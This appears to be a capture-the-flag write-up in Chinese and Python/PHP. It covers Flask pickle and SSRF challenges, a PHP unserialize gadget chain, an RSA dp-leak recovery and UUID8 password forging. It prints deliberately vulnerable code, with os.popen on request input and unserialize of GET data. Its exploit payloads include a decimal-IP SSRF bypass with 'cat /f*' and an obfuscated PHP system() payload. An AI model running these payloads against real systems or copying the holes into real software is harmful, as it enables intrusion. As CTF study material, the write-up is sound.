Use GET To Send Your Loved Data!!! BlackList = [b'', b''] @app.route('/pickle_dsa') defpic(): data = request.args.get('data') ifnot data: return"Use GET To Send Your Loved Data"try: data = base64.b64decode(data) except Exception: return"Cao!!!"for b in BlackList: if b in data: return"卡了" p = pickle.loads(data) print(p) returnf" Vamos! {p}
from flask import Flask, request from urllib.parse import urlparse import socket import os app = Flask(__name__) BlackList = [ 'localhost', '@', '172', 'gopher', 'file', 'dict', 'tcp', '0.0.0.0', '114.5.1.4' ] defcheck(url: str) -> bool: parsed = urlparse(url) host = parsed.hostname ifnot host: returnFalse host_ascii = host.encode('idna').decode('utf-8') try: ip = socket.gethostbyname(host_ascii) except Exception: returnFalsereturn ip == '114.5.1.4' @app.route('/') defindex(): returnopen(__file__, 'r', encoding='utf-8').read() @app.route('/ssrf') defssrf(): raw_url = request.args.get('url') ifnot raw_url: return'URL Needed'for u in BlackList: if u in raw_url: return'Invaild URL'if check(raw_url): cmd = request.args.get('cmd', '') return os.popen(cmd).read() else: return'NONONO'if __name__ == '__main__': app.run(host='0.0.0.0', port=8000)
ssrf?url=http://1912930564/&cmd=cat%20/f*
很多办法，用进制绕过就行，我这里用 10 进制绕过
预期解是考 dns 重绑定
这真的是反序列化
考点：利用 SoapClient 触发 __call 用 ssrf 来打 Redis
<?phphighlight_file(__FILE__); error_reporting(0); //hint: Redis20251206 class pure{ public $web; public $misc; public $crypto; public $pwn; public function __construct($web, $misc, $crypto, $pwn){ $this->web = $web; $this->misc = $misc; $this->crypto = $crypto; $this->pwn = $pwn; } public function reverse(){ $this->pwn = new $this->web($this->misc, $this->crypto); } public function osint(){ $this->pwn->play_0xGame(); } public function __destruct(){ $this->reverse(); $this->osint(); } } $AI = $_GET['ai']; $ctf = unserialize($AI); ?>
get 0xGame=1&1=system&2=cat /f* post web=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B%20
from Crypto.Util.number import getPrime, bytes_to_long from gmpy2 import invert import random import uuid # 通过 RSA 得到 UUID8 的 a # 再通过其他方式获取到 b 和 c # 利用 UUID8 生成 Admin 密码 msg= b'' BITS = 1024 e = 65537 p = getPrime(BITS//2) q = getPrime(BITS//2) n = p * q phi = (p - 1) * (q - 1) d = int(invert(e, phi)) key = bytes_to_long(msg) c = pow(key, e, n) dp = d % (p - 1) #print("n = ", n) #print("e = ", e) #print("c = ", c) #print("dp = ", dp) #{}内的 key = key.encode() key = int.from_bytes(key, 'big') pa = uuid.uuid8(a=key) #n = 70344167219256641077015681726175134324347409741986009928113598100362695146547483021742911911881332309275659863078832761045042823636229782816039860868563175749260312507232007275946916555010462274785038287453018987580884428552114829140882189696169602312709864197412361513311118276271612877327121417747032321669 #e = 65537 #c = 46438476995877817061860549084792516229286132953841383864271033400374396017718505278667756258503428019889368513314109836605031422649754190773470318412332047150470875693763518916764328434140082530139401124926799409477932108170076168944637643580876877676651255205279556301210161528733538087258784874540235939719 #dp = 7212869844215564350030576693954276239751974697740662343345514791420899401108360910803206021737482916742149428589628162245619106768944096550185450070752523
先 rsa 解密得到 a
import math import random import re # Given RSA parameters and leak n = 70344167219256641077015681726175134324347409741986009928113598100362695146547483021742911911881332309275659863078832761045042823636229782816039860868563175749260312507232007275946916555010462274785038287453018987580884428552114829140882189696169602312709864197412361513311118276271612877327121417747032321669 e = 65537 c = 46438476995877817061860549084792516229286132953841383864271033400374396017718505278667756258503428019889368513314109836605031422649754190773470318412332047150470875693763518916764328434140082530139401124926799409477932108170076168944637643580876877676651255205279556301210161528733538087258784874540235939719 dp = 7212869844215564350030576693954276239751974697740662343345514791420899401108360910803206021737482916742149428589628162245619106768944096550185450070752523 def recover_p_from_dp(n: int, e: int, dp: int, max_trials: int = 256) -> int: """Recover a prime factor p of n from e and dp (where dp = d mod (p-1)). Strategy: Let k = e*dp - 1, which is a multiple of (p-1). Use a Miller-style splitting approach: factor out powers of two and try gcd(pow(g, k', n) - 1, n) during repeated squaring. """ k = e * dp - 1 # Remove factors of 2 from k r = 0 t = k while t % 2 == 0: t //= 2 r += 1 for _ in range(max_trials): g = random.randrange(2, n - 2) x = pow(g, t, n) if x == 1 or x == n - 1: continue for _ in range(r + 1): p = math.gcd(x - 1, n) if 1 < p < n: return p x = pow(x, 2, n) if x == 1: break # Fallback: direct attempt with k for _ in range(max_trials): g = random.randrange(2, n - 2) x = pow(g, k, n) p = math.gcd(x - 1, n) if 1 < p < n: return p raise ValueError("Failed to recover prime factor with dp leak") def modinv(a: int, m: int) -> int: return pow(a, -1, m) def int_to_bytes(i: int) -> bytes: if i == 0: return b"\x00" length = (i.bit_length() + 7) // 8 return i.to_bytes(length, 'big') def padding(input_string: str) -> int: byte_string = input_string.encode('utf-8') if len(byte_string) > 6: byte_string = byte_string[:6] padded_byte_string = byte_string.ljust(6, b'\x00') padded_int = int.from_bytes(padded_byte_string, byteorder='big') return padded_int def extract_braced_value(text: str) -> str | None: match = re.search(r"\{([^}]*)\}", text) return match.group(1) if match else None def main(): # Recover p from dp p = recover_p_from_dp(n, e, dp) q = n // p assert p * q == n phi = (p - 1) * (q - 1) d = modinv(e, phi) m = pow(c, d, n) m_bytes = int_to_bytes(m) decoded = m_bytes.decode('utf-8', errors='ignore') inner = extract_braced_value(decoded) if inner is None: # Fallback: treat entire m as integer 'a' a_full = m else: a_full = int.from_bytes(inner.encode('utf-8'), 'big') a_48 = a_full & ((1 << 48) - 1) print("p=", p) print("q=", q) print("m_bytes=", decoded) print("a_full=", a_full) print("a_48=", a_48) if __name__ == "__main__": main()
a=109343314834543
响应头看到 b=120604030108
目录扫描得到 auth，得到 c=7430469441
直接 uuid8 加密即可
import uuid defuuid8_from_chunks(a: int, b: int, c: int) -> uuid.UUID: a48 = a & ((1 << 48) - 1) b12 = b & ((1 << 12) - 1) c62 = c & ((1 << 62) - 1) int_uuid = (a48 << 80) | (b12 << 64) | c62 int_uuid |= (0x8 << 76) # version 8 int_uuid |= (0x2 << 62) # RFC 4122 variant return uuid.UUID(int=int_uuid) def main() -> None: a = 109343314834543 b = 120604030108 c = 7430469441 u = uuid8_from_chunks(a, b, c) print(u) if __name__ == "__main__": main()
